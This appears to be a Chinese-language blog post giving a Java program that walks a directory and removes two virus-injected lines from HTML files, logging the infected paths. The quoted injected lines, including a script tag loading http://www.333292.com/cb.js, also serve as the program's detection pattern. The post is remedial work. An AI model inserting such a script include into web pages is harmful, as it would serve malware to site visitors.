我的机器中毒了,导致机器上的每个html文件最后都包含下面两行代码
 ----O;K?? 団P慖
 ----D2q蘤#甛6陂馠??R圡宇http://www.333292.com/cb.js></script>
于是写这个程序把机器上所有的html文件最后两行删掉

这个程序了涉及到了java 读写文本、遍历目录及子目录、获得文件扩展名的操作。

import java.io.*;
public class ChangeFile {

    public void changeFile(File inFile) {
        String _temp;
        boolean _hasVirus = false;
        try {
            // 读HTML文件...............................
            FileReader _frd = new FileReader(inFile);
            BufferedReader _brd = new BufferedReader(_frd);
            // 将读出来的字符集写入另一个文件..................................
            File outFile = new File(inFile.getPath() + ".tmp");
            FileWriter _fwt = new FileWriter(outFile);
            // 一行一行读文件,判断文件里是否包含病毒
            _temp = _brd.readLine();
            while (_temp != null) {
                if (_temp.contains("団P慖")
                        || _temp
                                .contains("R圡宇http://www.333292.com/cb.js></script>")) {
                    _hasVirus = true;
                } else {
                    _fwt.write(_temp + "\n");
                }
                _temp = _brd.readLine();
            }

            _brd.close();
            _frd.close();
            _fwt.close();
            // 删掉原文件,将新写的文件名改为源文件名
            if (_hasVirus == true) {
                inFile.delete();
                outFile.renameTo(inFile);
                // 形成记录文件D:\\log.txt
                FileWriter _wlog = new FileWriter(new File("d:\\log.txt"), true);
                _wlog.append(inFile.getPath() + " has virus;\n");
                // System.out.println(inFile.getPath() + " has virus;");
                _wlog.close();
            } else {
                outFile.delete();
            }
        } catch (FileNotFoundException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        } catch (IOException e) {
            // TODO Auto-generated catch block
            e.printStackTrace();
        }
    }

    // 遍历目录及子目录下所有的文件
    public void searchSubFile(String dir) {
        File _dir = new File(dir);

        if (!_dir.exists()) {
            System.out.println("文件或目录不存在");
            return;
        }
        if (_dir.isDirectory()) {
            File[] subFiles = _dir.listFiles();
            for (int i = 0; i < subFiles.length; i++) {
                System.out.println(subFiles[i].getPath());
                searchSubFile(subFiles[i].getPath());
            }
            return;
        }
        // System.out.println(_dir.getPath());
        // 遍历目录,开始更改文件
        String _ext = getExtension(_dir);
        if (_ext != null) {
            if (_ext.equalsIgnoreCase("html") || _ext.equalsIgnoreCase("htm")) {
                changeFile(_dir);
            }
        }
    }

    // 获得文件扩展名
    public String getExtension(File file) {
        String _filename = file.getName();

        if ((_filename != null) && (_filename.length() > 0)) {
            int i = _filename.lastIndexOf(".");

            if ((i > 0) && (i < (_filename.length() - 1))) {
                // System.out.println(_filename.substring(i + 1));
                return _filename.substring(i + 1);
            }
        }
        return null;
    }

    public static void main(String[] args) {
        ChangeFile ttt = new ChangeFile();
        ttt.searchSubFile("D:\\My_Dev");//此处换成你所需修改HTML文件的目录,然后java编译运行即可
    }

}